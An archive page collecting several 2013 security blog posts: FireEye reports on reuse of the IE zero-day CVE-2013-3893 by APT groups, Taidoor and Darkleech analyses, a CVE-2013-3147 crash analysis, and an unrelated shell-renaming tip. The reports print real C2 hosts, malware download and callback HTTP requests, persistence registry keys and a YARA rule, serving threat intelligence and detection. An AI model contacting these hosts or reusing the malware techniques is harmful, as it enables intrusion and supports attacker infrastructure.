Monthly Archives: September 2013

Hand Me Downs: Exploit and Infrastructure Reuse Among APT Campaigns

Since we first reported on Operation DeputyDog, at least three other Advanced Persistent Threat (APT) campaigns known as Web2Crew, Taidoor, and th3bug have made use of the same exploit to deliver their own payloads to their own targets. It is not uncommon for APT groups to hand-off exploits to others, who are lower on the zero-day food chain – especially after the exploit becomes publicly available. Thus, while the exploit may be the same, the APT groups using them are not otherwise related.

In addition, APT campaigns may reuse existing infrastructure for new attacks. There have been reports that the use of CVE-2013-3893 may have begun in July; however, this determination appears to be based solely on the fact that the CnC infrastructure used in DeputyDog had been previously used by the attackers. We have found no indication that the attackers used CVE-2013-3893 prior to August 23, 2013.

Exploit Reuse

Since the use of CVE-2013-3893 in Operation DeputyDog (which we can confirm happened by at least August 23, 2013), the same exploit was used by different threat actors.

Web2Crew

On September 25, 2013, an actor we call Web2Crew utilized CVE-2013-3893 to drop PoisonIvy (not DeputyDog malware). The exploit was hosted on a server in Taiwan (220.229.238.123) and dropped a PoisonIvy payload (38db830da02df9cf1e467be0d5d9216b) hosted on the same server. In our recent paper, we document how to extract intelligence from Poison Ivy that can be used to cluster activity.

The Poison Ivy binary used in this attack was configured with the following properties:

ID: gua925

Group: gua925

DNS/Port: Direct: login.momoshop.org:443, Direct: 210.17.236.29:443,

Proxy DNS/Port:

Proxy Hijack: No

ActiveX Startup Key:

HKLM Startup Entry:

File Name:

Install Path: C:\Documents and Settings\Administrator\Desktop\runrun.exe

Keylog Path: C:\Documents and Settings\Administrator\Desktop\runrun

Inject: No

Process Mutex: ;A>6gi3lW

Key Logger Mutex:

ActiveX Startup: No

HKLM Startup: No

Copy To: No

Melt: No

Persistence: No

Keylogger: No

Password: LostC0ntrol2013~2014

This configuration matches with other Web2Crew particularly ‘gua25’ ID. Some previous Web2Crew Poison Ivy samples have been configured with similar IDs including:

920GUA

 

GUA4.11

GUA

GUA3.7

GUA613

Additionally, the IP address 210.17.236.29 was used to host the command and control server in this attack. A number of known Web2Crew domains previously resolved to this same IP address between August 15 and August 29.

DATE DOMAIN
2013-08-15 2013-08-15 flash.wordpreass.net flash.wordpreass.net
2013-08-15 2013-08-15 search.blogspoct.us search.blogspoct.us
2013-08-15 2013-08-15 account.twiitter.us account.twiitter.us
2013-08-15 2013-08-15 search.twiitter.biz search.twiitter.biz
2013-08-15 2013-08-15 video.twiitter.biz video.twiitter.biz
2013-08-15 2013-08-15 domain.blogspoct.us domain.blogspoct.us
2013-08-15 2013-08-15 search.wikiipedia.us search.wikiipedia.us
2013-08-15 2013-08-15 search.youetube.us search.youetube.us
2013-08-16 2013-08-16 account.twiitter.us account.twiitter.us
2013-08-16 2013-08-16 video.twiitter.biz video.twiitter.biz
2013-08-16 2013-08-16 domain.blogspoct.us domain.blogspoct.us
2013-08-16 2013-08-16 search.blogspoct.us search.blogspoct.us
2013-08-16 2013-08-16 search.twiitter.biz search.twiitter.biz
2013-08-21 2013-08-21 search.youetube.us search.youetube.us
2013-08-29 2013-08-29 login.twiitter.us login.twiitter.us
2013-08-29 2013-08-29 account.youetube.us account.youetube.us
2013-08-29 2013-08-29 login.twiitter.us login.twiitter.us
2013-08-29 2013-08-29 account.youetube.us account.youetube.us

We observed the Web2Crew actor targeting a financial institution in this attack as well as in previous attacks.

Taidoor

The same exploit (CVE-2013-3893) has also been used by another, separate APT campaign. By at least September 26, 2013 a compromised Taiwanese Government website was used to host the same exploit, however, the payload in this case was Taidoor (not DeputyDog malware). The decoded payload has an MD5 of 666603bd2073396b7545d8166d862396. The CnC servers are msdn.techsofts.com and 203.114.64.202.

We found another instance of CVE-2013-3893 hosted at www.atmovies[.]com[.]tw/home/temp1.html. This dropped another Taidoor binary with the MD5 of 1b03e3de1ef3e7135fbf9d5ce7e7ccf6. This Taidoor sample connected to a command and control server at 121.254.176.151. We found this sample targeting the same financial services firm targeted by the web2crew actor discussed above.

Both of these samples were the newer versions of Taidoor that we previously described here.

Th3Bug

The actor we refer to as ‘th3bug’ also used CVE-2013-3893 in multiple attacks. Beginning on September 27, compromised websites hosting the Internet Explorer zero-day redirected victims to download a stage one payload (496171867521908540a26dc81b969266) from www.jessearch[.]com/dev/js/27.exe. This payload was XOR’ed with a single byte key of 0x95.

The stage 1 payload then downloaded a PoisonIvy payload (not DeputyDog malware) via the following request:

GET /dev/js/heap.php HTTP/1.1

 

User-Agent: Mozilla/4.0 (compatible)

Host: www.jessearch.com

Cache-Control: no-cache

The PoisonIvy payload then connected to a command and control server at mm.tc.epac.to.

The deobfuscated stage 1 payload has a MD5 of 4017d0baa83c63ceff87cf634890a33f and was compiled on September 27, 2013. This may indicate that the th3bug actor also customized the IE zero-day exploit code on September 27, 2013 – well after the actors responsible for the DeputyDog malware weaponized the same exploit.

Infrastructure Reuse

APT groups also reuse CnC infrastructure. It is not uncommon to see a payload call back to the same CnC, even through it has been distributed via different means. For example, although the first reported use of CVE-2013-3893 in Operation DeputyDog was August 23, 2013, the CnC infrastructure had been used in earlier campaigns.

Specifically, one of the reported DeputyDog command and control servers located at 180.150.228.102 had been used in a previous attack in July 2013. During this previous attack, likely executed by the same actor responsible for the DeputyDog campaign, the 180.150.228.102 IP hosted a PoisonIvy control server and was used to target a gaming company as well as high-tech manufacturing company. There is no evidence to suggest that this July attack using Poison Ivy leveraged the same CVE-2013-3893 exploit.

We also observed usage of Trojan.APT.DeputyDog malware as early as March 26, 2013. In this attack, a Trojan.APT.DeputyDog binary (b1634ce7e8928dfdc3b3ada3ab828e84) was deployed against targets in both the high-technology manufacturing and finance verticals. This DeputyDog binary called back to a command and control server at www.jusched.net. There is also no evidence in this case to suggest that this attack used the CVE-2013-3893 exploit.

This malware family and the CnC infrastructure is part of an ongoing campaign. Therefore, the fact that this infrastructure was active prior to the first reported use of CVE-2013-3893 does not necessarily indicate that this particular exploit was previously used. The actor responsible for the DeputyDog campaign employs a multiple of malware tools and utilizes a diverse command and control infrastructure.

Conclusion

The activity associated with specific APT campaigns can be clustered and tracked by unique indicators. There are a variety of different campaigns that sometimes make use of the same malware (or sometimes widely available malware such as PoisonIvy) and the same exploits. It is not uncommon for zero-day exploits to be handed down to additional APT campaigns after they have already been used.

  • The first observed usage of CVE-2013-3893, in Operation Deputy Dog, remains August 23, 2013. However, the C2 infrastructure had been used in previous attacks in July 2013.
  • The CVE-2013-3893 has been subsequently used by at least three other APT campaigns: Taidoor, th3bug, and Web2Crew. However, other than the common use of the same exploit, these campaigns are otherwise unrelated.
  • We expect that CVE-2013-3893 will continue to be handed down to additional APT campaigns and may eventually find its way into the cyber-crime underground.

Episode #170: Fearless Forensic File Fu

Hal receives a cry for help

Fellow forensicator Craig was in a bit of a quandary. He had a forensic image in "split raw" format-- a complete forensic image broken up into small pieces. Unfortunately for him, the pieces were named "fileaa", "fileab", "fileac", and so on while his preferred tool wanted the files to be named "file.001", "file.002", "file.003", etc. Craig wanted to know if there was an easy way to rename the files, using either Linux or the Windows shell.

This one's not too hard in Linux, and in fact it's a lot like something we did way back in Episode #26:

c=1; 
for f in file*; do
printf -v ext %03d $(( c++ ));
mv $f ${f/%[a-z][a-z]/.$ext};
done

You could remove the newlines and make that one big long line, but I think it's a bit easier to read this way. First we initialize a counter variable $c to 1. Then we loop over each of the files in our split raw image.

The printf statement inside the loop formats $c as three digits, with however many leading zeroes are necessary ("%03d"). There are a couple of tricky bits in the printf though. First is we're assigning the output of printf to a variable $ext ("-v ext"). Second, we're doing a little arithmetic on $c at the same time and using the "++" operator to increment the value of $c each time through the loop-- that's the "$(( c++ ))" part.

Then we use mv to rename our file. I'm using the variable substitution operator like we did in Episode #26. The format again is "${var/pattern/substitution}" and here the "%" after the first slash means "match at the end of the string". So I'm replacing the last two letters in the file name with a dot followed by our $ext value. And that's exactly what Craig wanted!

All of the symbols in this solution make it appear like a little chunk of line noise, but it's nowhere near as ugly as Ed's CMD.EXE solution in Episode #26. Here's hoping Tim's Powershell solution is a bit more elegant.

Tim finishes before September ends!

Elegance where here we come!


Long Version:
PS C:\> $i=1; Get-ChildItem file?? | Sort-Object -Propery Name |
ForeEach-Object { MoveItem -Path $_ -Destination ("file.{0:D3}" -f $i++) }

Shortened Version:
PS C:\> ls file?? | sort name | % { move $_ -dest ("file.{0:D3}" -f $i++) }

We start off by initializing our counter variable ($i) to 1 just like Hal did. Next, we list all the files that start with "file" and are followed by exactly two characters (each ? matches exactly 1 character of any kind). The results are then sorted by the file name to ensure that the files are renamed in the correct order. The results are then fed into the ForEach-Object cmdlet (alias %).

The ForEach-Object loop will operate on each object (file) as it moves down the pipeline. One at a time, each file will be represented by the current pipeline object ($_). The Move-Item cmdlet (alias move) is used to rename a file; to move it to its new name. The source path is provided by the current object and the destination is determined using the format operator (-f) and our counter ($i). The format operator will print $i as a three digit number prefixed with leading zeros and "file.". The ++ after $i will increment the counter after it has been used.

That is much cleaner than Ed's example...and even cleaner than Hal's to boot!

Update:

Reader m_cnd writes in with a solution for CMD. vm

C:\> for /F "tokens=1,2 delims=:" %d in ('dir /on /b file* ^| 
findstr /n "file"') do for /F %x in ('set ext^=00%d^&^&
cmd /v:on /c "echo !ext:~-3!"') do rename %e file.%x
Nice work!

Operation DeputyDog: Zero-Day (CVE-2013-3893) Attack Against Japanese Targets

FireEye has discovered a campaign leveraging the recently announced zero-day CVE-2013-3893. This campaign, which we have labeled ‘Operation DeputyDog', began as early as August 19, 2013 and appears to have targeted organizations in Japan. FireEye Labs has been continuously monitoring the activities of the threat actor responsible for this campaign. Analysis based on our Dynamic Threat Intelligence cluster shows that this current campaign leveraged command and control infrastructure that is related to the infrastructure used in the attack on Bit9.

Campaign Details

On September 17, 2013 Microsoft published details regarding a new zero-day exploit in Internet Explorer that was being used in targeted attacks. FireEye can confirm reports that these attacks were directed against entities in Japan. Furthermore, FireEye has discovered that the group responsible for this new operation is the same threat actor that compromised Bit9 in February 2013.

FireEye detected the payload used in these attacks on August 23, 2013 in Japan. The payload was hosted on a server in Hong Kong (210.176.3.130) and was named “img20130823.jpg”. Although it had a .jpg file extension, it was not an image file. The file, when XORed with 0x95, was an executable (MD5: 8aba4b5184072f2a50cbc5ecfe326701).

Upon execution, 8aba4b5184072f2a50cbc5ecfe326701 writes “28542CC0.dll” (MD5: 46fd936bada07819f61ec3790cb08e19) to this location:

C:\Documents and Settings\All Users\Application Data\28542CC0.dll

In order to maintain persistence, the original malware adds this registry key:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\28542CC0

The registry key has this value:

rundll32.exe "C:\Documents and Settings\All Users\Application Data\28542CC0.dll",Launch

The malware (8aba4b5184072f2a50cbc5ecfe326701) then connects to a host in South Korea (180.150.228.102). This callback traffic is HTTP over port 443 (which is typically used for HTTPS encrypted traffic; however, the traffic is not HTTPS nor SSL encrypted). Instead, this clear-text callback traffic resembles this pattern:

POST /info.asp HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Agtid: [8 chars]08x

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: 180.150.228.102:443

Content-Length: 1045

Connection: Keep-Alive

Cache-Control: no-cache

[8 chars]08x&[Base64 Content]

The unique HTTP header “Agtid:” contains 8 characters followed by “08x”. The same pattern can be seen in the POST content as well.

A second related sample was also delivered from 111.118.21.105/css/sun.css on September 5, 2013. The sun.css file was a malicious executable with an MD5 of bd07926c72739bb7121cec8a2863ad87 and it communicated with the same communications protocol described above to the same command and control server at 180.150.228.102.

Related Samples

We found that both droppers, bd07926c72739bb7121cec8a2863ad87 and 8aba4b5184072f2a50cbc5ecfe326701, were compiled on 2013-08-19 at 13:21:59 UTC. As we examined these files, we noticed a unique fingerprint.

These samples both had a string that may have been an artifact of the builder used to create the binaries. This string was “DGGYDSYRL”, which we refer to as “DeputyDog”. As such, we developed the following YARA signature, based on this unique attribute:

rule APT_DeputyDog_Strings

{

meta:
author = "FireEye Labs"

version = "1.0"

description = "detects string seen in samples used in 2013-3893 0day attacks"

reference = "8aba4b5184072f2a50cbc5ecfe326701"

strings:
$mz = {4d 5a}

$a = "DGGYDSYRL"

condition:
($mz at 0) and $a

                }

We used this signature to identify 5 other potentially related samples:

MD5 Compile Time (UTC) C2 Server
58dc05118ef8b11dcb5f5c596ab772fd 58dc05118ef8b11dcb5f5c596ab772fd 2013-08-19 13:21:58 2013-08-19 13:21:58 180.150.228.102 180.150.228.102
4d257e569539973ab0bbafee8fb87582 4d257e569539973ab0bbafee8fb87582 2013-08-19 13:21:58 2013-08-19 13:21:58 103.17.117.90 103.17.117.90
dbdb1032d7bb4757d6011fb1d077856c dbdb1032d7bb4757d6011fb1d077856c 2013-08-19 13:21:59 2013-08-19 13:21:59 110.45.158.5 110.45.158.5
645e29b7c6319295ae8b13ce8575dc1d 645e29b7c6319295ae8b13ce8575dc1d 2013-08-19 13:21:59 2013-08-19 13:21:59 103.17.117.90 103.17.117.90
e9c73997694a897d3c6aadb26ed34797 e9c73997694a897d3c6aadb26ed34797 2013-04-13 13:42:45 2013-04-13 13:42:45 110.45.158.5 110.45.158.5

Note that all of the samples, except for e9c73997694a897d3c6aadb26ed34797, were compiled on 2013-08-19, within 1 second of each other.

We pivoted off the command and control IP addresses used by these samples and found the following known malicious domains recently pointed to 180.150.228.102.

Domain First Seen Last Seen
ea.blankchair.com ea.blankchair.com 2013-09-01 05:02:22 2013-09-01 05:02:22 2013-09-01 08:25:22 2013-09-01 08:25:22
rt.blankchair.com rt.blankchair.com 2013-09-01 05:02:21 2013-09-01 05:02:21 2013-09-01 08:25:24 2013-09-01 08:25:24
ali.blankchair.com ali.blankchair.com 2013-09-01 05:02:20 2013-09-01 05:02:20 2013-09-01 08:25:22 2013-09-01 08:25:22
dll.freshdns.org dll.freshdns.org 2013-07-01 10:48:56 2013-07-01 10:48:56 2013-07-09 05:00:03 2013-07-09 05:00:03

Links to Previous Campaigns

According to Bit9, the attackers that penetrated their network dropped two variants of the HiKit rootkit. One of these Hitkit samples connected to a command and control server at downloadmp3server[.]servemp3[.]com that resolved to 66.153.86.14. This same IP address also hosted www[.]yahooeast[.]net, a known malicious domain, between March 6, 2012 and April 22, 2012.

The domain yahooeast[.]net was registered to 654@123.com. This email address was also used to register blankchair[.]com – the domain that we see was pointed to the 180.150.228.102 IP, which is the callback associated with sample 58dc05118ef8b11dcb5f5c596ab772fd, and has been already correlated back to the attack leveraging the CVE-2013-3893 zero-day vulnerability.

Threat Actor Attribution

deputydog

Conclusion

While these attackers have a demonstrated previously unknown zero-day exploits and a robust set of malware payloads, using the techniques described above, it is still possible for network defense professionals to develop a rich set of indicators that can be used to detect their attacks. This is the first part of our analysis, we will provide more detailed analysis on the other components of this attack in subsequent blog post.

Using PEB to Get Base Address of Kernelbase.dll

Process Environment Block (PEB) is a user mode data structure which applies over a whole process. It is designed to be used by the application-mode code in the operating system libraries, such as NTDLL.dll, Kernel32.dll. Through the use of PEB one can obtain the list of loaded modules, process startup arguments, ImageBaseAddress, heap address, check […]

Unmask Parasites joins Sucuri

It’s official. This week Unmask Parasites joins Sucuri!

Since July of 2008 when I released the first public version, Unmask Parasites was a “one man project” and it worked fine for me most of the time. I did everything myself from server setup to site development, from web attack investigations to blogging here. During these years Unmask Parasites became quite noticeable both within webmasters and Internet security community. And I always tried to meet their expectations providing a tool that could reveal various obscure website security issues and sharing information on how and why websites get hacked, and what can be done to prevent it.

When Sucuri approached me and asked if I wanted to join their team as a malware researcher, I didn’t think much. I’ve been watching this company since 2010 and knew how much we had in common in our approach to Internet security. We both focus on helping site owners to detect security problems and protect their sites. We do our best to educate webmasters about things that hackers do with compromised websites — unmasking their dirty tricks is an important part of our work. In 2011 we established good relationship and began to help each other by sharing our information about ongoing massive attacks. Now Sucuri has grown to one of the leading companies in its field and makes a significant impact on how many thousands of site owners protect their sites. It’s an honor for me to join this company and the team of professionals that I know for so long time.

I guess you wonder what will happen to Unmask Parasites scanner and this blog? They are here to stay! I will still be responsible for Unmask Parasites and continue to improve it and publish my blogposts here. Even better: now that I’m with Sucuri, I will have access to large volumes of data from their tools and support team (something that I really missed during the last five years), which will definitely facilitate my investigations, and, in turn, improve the quality of Unmask Parasites scanner and Sucuri own tools.

For additional information check the Sucuri’s announcement.

Let’s unmask parasites!

Related posts:

Darkleech Says Hello

There's never a dull day at FireEye -- even on the weekends. At approximately 7:29 AM PDT today, we were notified by several security researchers that a fireeye[.]com/careers HR link was inadvertently serving up a drive-by download exploit. Our internal security, IT operations team, and third-party partners quickly researched and discovered that the malicious code was not hosted directly on any FireEye web infrastructure, but rather, it was hosted on a third-party advertiser (aka "malvertisement") that was linked via one of our third-party web services. The team then responded and immediately removed links to the malicious code in conjunction with our partners in order to protect our website users. More information on this third-party compromise (of video.js) can be found here.

Technical Details

The full redirect looked like this:

 

hxxp://www[.]fireeye[.]com/careers/ 

 

(redirect to) -> hxxp://xxx[.]xxxxxxxx[.]com/career/

CareerHome.action?clientId=8aa00506326e915601326f65b82e1fcb

(calls) -> hxxp://vjs[.]zencdn[.]net/c/video.js (VULNERABLE JAVASCRIPT)

(calls) -> hxxp://cdn[.]adsbarscipt[.]com/links/jump/ (MALVERTISEMENT)

(calls) -> hxxp://209[.]239[.]127[.]185/591918d6c2e8ce3f53ed8b93fb0735cd

/face-book.php (EXPLOIT URL)

(drops) -> MD5: 01771c3500a5b1543f4fb43945337c7d

(Update_flash_player.exe)

 

 

So what was this, anyway?

It turns out, this attack was not targeted and it was not a watering hole attack. Instead, this campaign appears to be a recent wave of the Darkleech malware campaign, where third-party Horde/IMP Plesk Webmail servers were vulnerable to attack and used to serve up Java exploits that ultimately drop yet another ransomware named Reveton (similar to Urausy) -- yet other AV engines report it as a Zeus Bot (Zbot) variant.

Do FireEye products detect this attack?

Yes, the initial infection vector, payload, and corresponding Reveton callbacks were fully detected across all FireEye products prior to this incident being reported to us. In fact, this particular Reveton sample has been reported by approximately 49 of our worldwide customers, so far. Further intelligence about this threat is listed below:

  • DTI Statistics for MD5: 01771c3500a5b1543f4fb43945337c7d
  • MD5 first seen by our customers: 2013-09-14 07:12:40 UTC
  • Number of unique worldwide FireEye Web MPS detections: 188+
  • Number of unique FireEye Web MPS customers reported/alerted on this sample: 49+
  • Number of industries affected: 12+

Industries affected by Reveton

Lastly, FireEye acknowledges and thanks security researchers Inaki Rodriguez and Stephanus J Alex Taidri for bringing this issue to our attention.

Technical Analysis of CVE-2013-3147

In July, Microsoft released a patch for a memory-corruption vulnerability in the Internet Explorer (IE) Web browser. The vulnerability enabled remote attackers to execute arbitrary code or cause a denial of service through a crafted or compromised website — also known as a drive-by download.

This vulnerability is particularly interesting because it is so simple that even some tutorials on the web can trigger it, and it is unique to IE. The vulnerability exists in onbeforeeditfocus event. Only Internet Explorer supports this event (detailed information can be found at http://help.dottoro.com/ljclqecn.php).

Vulnerability

The vulnerability triggers when the document markup is manipulated inside the handler of onbeforeeditfocus event. It leads to a crash in mshtml!CElement::BubbleBecomeCurrent when the instruction tries to access the freed pointer.

Following is the state of registers at the time of crash.

0:008> r

eax=00000004 ebx=00000000 ecx=06034f88 edx=80000035 esi=06082fb0

edi=048466a8 eip=636b31fe esp=037cf9b8 ebp=037cf9d4 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

mshtml!CElement::BubbleBecomeCurrent+0xa7:

636b31fe 8b7604 mov esi,dword ptr [esi+4] ds:0023:06082fb4=????????

At this stage ESI holds the freed pointer.

0:008> !heap -p -a esi

address 06082fb0 found in

_DPH_HEAP_ROOT @ 141000

in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)

5802a58: 6082000 2000

7c927553 ntdll!RtlFreeHeap+0x000000f9

63625834 mshtml!CTreeNode::Release+0x0000002d

63640cea mshtml!PlainRelease+0x00000033

63662fec mshtml!CTreeNode::NodeRelease+0x0000002a

635bd2d4 mshtml!CElement::BecomeCurrent+0x00000145

636b31eb mshtml!CElement::BubbleBecomeCurrent+0x00000094

637eeb74 mshtml!CElement::BubbleBecomeCurrent+0x0000004c

636b5dd5 mshtml!CDoc::PumpMessage+0x0000096a

635f1fea mshtml!CDoc::OnMouseMessage+0x0000055d

635ef664 mshtml!CDoc::OnWindowMessage+0x000007af

6364207a mshtml!CServer::WndProc+0x00000078

7e418734 USER32!InternalCallWinProc+0x00000028

7e418816 USER32!UserCallWinProcCheckWow+0x00000150

7e4189cd USER32!DispatchMessageWorker+0x00000306

7e418a10 USER32!DispatchMessageW+0x0000000f

02562ec9 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000461

Following was the size of allocation where ESI is pointing:

ESI: 6082fb0

address 06082fb0 found in

_DPH_HEAP_ROOT @ 141000

in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)

5802a58: 6082fb0 4c - 6082000 2000

7c918f01 ntdll!RtlAllocateHeap+0x00000e64

635a8225 mshtml!CHtmRootParseCtx::BeginElement+0x00000030

635bc1e9 mshtml!CHtmTextParseCtx::BeginElement+0x0000006c

635a8420 mshtml!CHtmParse::BeginElement+0x000000b7

635a93b4 mshtml!CHtmParse::ParseBeginTag+0x000000fe

635a6bb6 mshtml!CHtmParse::ParseToken+0x00000082

635a7ff4 mshtml!CHtmPost::ProcessTokens+0x00000237

635a734c mshtml!CHtmPost::Exec+0x00000221

635ac2b8 mshtml!CHtmPost::Run+0x00000015

635ac21b mshtml!PostManExecute+0x000001fd

635cece9 mshtml!CPostManager::PostManOnTimer+0x00000134

6364de62 mshtml!GlobalWndOnMethodCall+0x000000fb

6363c3c5 mshtml!GlobalWndProc+0x00000183

7e418734 USER32!InternalCallWinProc+0x00000028

7e418816 USER32!UserCallWinProcCheckWow+0x00000150

7e4189cd USER32!DispatchMessageWorker+0x00000306

But the story doesn’t end here. The instruction on which we are getting an exception is moving the pointer at [ESI+4] to ESI. So looking to the pointer, which is at [ESI+4], is important. If we monitor the ESI, then we will see the following sequence (note: the value of ESI is changed from the previous one because I collected this information at the second run):

ESI: 48bafb0 [ESI+4]: 6050fb0 [[ESI+4]]: 5ff0fd0 [[[ESI+4]]]: 635ba8c0

ESI: 48bafb0 [ESI+4]: 0 <---------------------- Exception

The exception instruction is expecting 6050fb0 at [ESI+4]. But because the pointer is freed, we hit an exception. The address 6050fb0 is the pointer to object 5ff0fd0 of type 635ba8c0 as we can see in the above lines and can also verify with the below windbg command.

0:008> ln 635ba8c0

(635ba8c0) mshtml!CBodyElement::`vftable' | (637812c0) mshtml!CStackDataAry

<unsigned short,128>::`vftable'

Exact matches:

mshtml!CBodyElement::`vftable' = <no type information>

Possible Code Execution Path:

This situation can lead to code execution because the value at [ESI+4] propagates to  the CElement::BecomeCurrent method which again calls the CElement::Doc method to access the vftable and call a function.

Following is the disassembly of the faulty function:

Our program crashes here:

1st

 

loc_636b31BF:

2nd

 

Here, a few checks are getting the value of EBX. But EBX is also in control, and the value of EBX remains the same as it was in the beginning of the function call.

CElement::BecomeCurrent:

3rd

 

CElement::Doc:

4th

This isn't the first IE vulnerability in which the CElement::Doc function played a role — in at least one other past vulnerabilityCElement::Doc function played a key role in the code execution.

(Thanks to my colleagues Abhishek Singh and Yichong Lin for their suggestions.)

Evasive Tactics: Taidoor

The Taidoor malware has been used in many ongoing cyber espionage campaigns. Its victims include government agencies, corporate entities, and think tanks, especially those with interests in Taiwan. [1] In a typical attack, targets receive a spear-phishing email which encourages them to open an attached file. If opened on a vulnerable system, malware is silently installed on the target’s computer while a decoy document with legitimate content is opened that is intended to alleviate any suspicions the target may have. Taidoor has been successfully compromising targets since 2008, and continues to be active today.

Despite being around for a long time – and quite well known – Taidoor is a constantly evolving, persistent threat. We observed significant tactical changes in 2011 and 2012, when the malicious email attachments did not drop the Taidoor malware directly, but instead dropped a “downloader” that then grabbed the traditional Taidoor malware from the Internet. [2]

Recently, we observed a new variant of Taidoor, which was used in targeted attacks. It has evolved in two ways. Instead of downloading the traditional Taidoor malware from a command-and-control (CnC) server, the “downloader” reaches out to Yahoo Blogs and retrieves encrypted text from blog posts. When decrypted by the “downloader”, this text is actually a modified version of the traditional Taidoor malware. This new version of Taidoor maintains similar behavior, but has been changed enough to avoid common network detection signatures.

Traditional Taidoor Malware

The Taidoor malware is traditionally delivered as an email attachment. If opened, the Taidoor malware is dropped onto the target’s system, and starts to beacon to a CnC server. Taidoor connects to its CnCs using HTTP, and the “GET” request has been consistent since 2008. It follows a simple pattern:

GET /[5 characters].php?id=[6 numbers][12 characters/numbers]

The last set of 12 characters is actually the encrypted MAC address of the compromised computer. The values of the MAC address are incremented by 1, and this is used as an RC4 key to encrypt the data that is passed between the compromised computer and its CnC server.

The New Taidoor

In the past, other APT campaigns have used blog hosting platforms as a mechanism to transmit CnC server information to compromised targets. [3] Attackers using Taidoor have leveraged this model as well.

We analyzed a sample (be1d972819e0c5bf80bf1691cc563400) that when opened exploits a vulnerability in Microsoft Office (CVE-2012-0158) to drop malware on the target’s computer.

taidoor1

The decoy document contains background information on trade liberalization between the People’s Republic of China (PRC) and Taiwan.

The various strings in the file are XOR-encoded with the key "0x02" or "0x03".

taidoor2

This malware is a simple “downloader” that, instead of connecting to a CnC server, connects to a Yahoo Blog and downloads the contents of a blog post.

 

GET /jw!JRkdqkKGAh6MPj9MlwbK6iMgScE- HTTP/1.1

Accept: /

Accept-Language: en-us

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)

Accept-Encoding: gzip, deflate

Host: tw.myblog.yahoo.com

Connection: Keep-Alive

 

taidoor3

The content of the blog post between the markers “ctxugfbyyxyyyxyy” and “yxyyyxyyctxugfby” is encoded with base64 and encrypted using the RC4 cipher. The encryption key, which we discovered to be "asdfasdf", is also present in the contents of the base64 blog data in an encrypted form. The decrypted content of the blog post is a DLL file – that is in fact the Taidoor malware.

taidoor4

After the first-stage dropper downloads and decrypts the Taidoor malware, it then begins to connect to two CnC servers: roudan.serveftp.com (69.95.218.31) and mac.gov.hpc.tw (120.50.40.145). However, the network traffic (its “callback”) has been modified from the traditional version.

 

GET /default.jsp?vx=vsutnh191138F9744C HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

Host: mac.gov.hpc.tw:443

Connection: Keep-Alive

Cache-Control: no-cache

 

Rather than having “[five characters].php”, this new file path ends in “.jsp” and may have any of the following file names:

  • process
  • page
  • default
  • index
  • user
  • parse
  • about
  • security
  • query
  • login

The new format is:

/[file name].jsp?[2 random characters]=[6 random characters][encrypted MAC address]

In addition to the use of other malicious Word documents (b0fd4d5fb6d8acb1ccfb54d53c08f11f), we have also seen this new Taidoor variant distributed as a Windows ScreenSaver file (.scr) posing as a PDF (d9940a3da42eb2bb8e19a84235d86e91) or a Word document (c4de3fea790f8ff6452016db5d7aa33f).

taidoor5a

taidoor5b

taidoor5c

It remains unclear whether all of this Taidoor activity is related or different groups are using the same malware for different purposes. The fact that Taidoor is not off-the-shelf malware that can simply be downloaded or purchased in the cybercrime underground suggests that all of this activity may be connected in some way.

taidoorclusters2

So far, we have found only one large cluster of activity associated with this new Taidoor variant. This cluster, which made use of Yahoo Blogs, appears to have targeted entities in Taiwan. We found that traditional versions of Taidoor have also been using this infrastructure. [4]

Malware Connections

We found that another, possibly related, malware family known as “Taleret” is using the same technique that this Taidoor variant has used. We found that samples (such as 6cd1bf0e8adcc7208b82e1506efdba8d, 525fd346b9511a84bbe26eb47b845d89 and 5c887a31fb4713e17c5dda9d78aab9fe) connect to Yahoo Blogs in order to retrieve a list of CnC servers.

taidoor9

The content between the two markers “XXXXX” is encoded with base64 and encrypted with the RC4 cipher. The encryption key is “c37f12a0” in hex, and hardcoded in the malware.

taidoor10

We extracted the following CnC servers from these blog posts:

  • opp.gov.taiwans.tw
  • nscnet.gov.medicare.tw
  • mac.gov.skies.tw
  • klserver.servehttp.com
  • kllserver.serveftp.com
  • 202.142.153.154
  • 80.149.239.139
  • 202.142.172.131
  • www.facebook.trickip.NET
  • www.braintrust.AlmostMy.COM

As with Taidoor, there appears to be a frequent association with Taiwan, in addition to a similar CnC naming scheme – such as mac.gov.hpc.tw (Taidoor) and mac.gov.skies.tw (Taleret).

Conclusion

The Taidoor malware has been used to successfully compromise targets since 2008. This threat has evolved over time, and has recently leveraged Yahoo Blogs as a mechanism to drop the Taidoor malware as a “second stage” component. In addition, the well-known Taidoor network traffic pattern has been modified, likely as a new way to avoid network-based detection.

Notes

1. http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/trojan_taidoor-targeting_think_tanks.pdf

2. http://blog.trendmicro.com/trendlabs-security-intelligence/taidoor-update-taidoor-gang-tags-its-victims/ and http://about-threats.trendmicro.com/us/spam/222/A%20Malware%20Treat%20this%20Halloween

3. http://www.nartv.org/mirror/shadows-in-the-cloud.pdf and reports of associated malware here http://www.welivesecurity.com/2013/05/23/syndicasec-in-the-sin-bin/ and here http://www.cybersquared.com/apt_targetedattacks_within_socialmedia/

4. MD5 hashes of traditional Taidoor samples 811aae1a66f6a2722849333293cbf9cd 454c9960e89d02e4922245efb8ef6b49 5efc35315e87fdc67dada06fb700a8c7 bc69a262bcd418d194ce2aac7da47286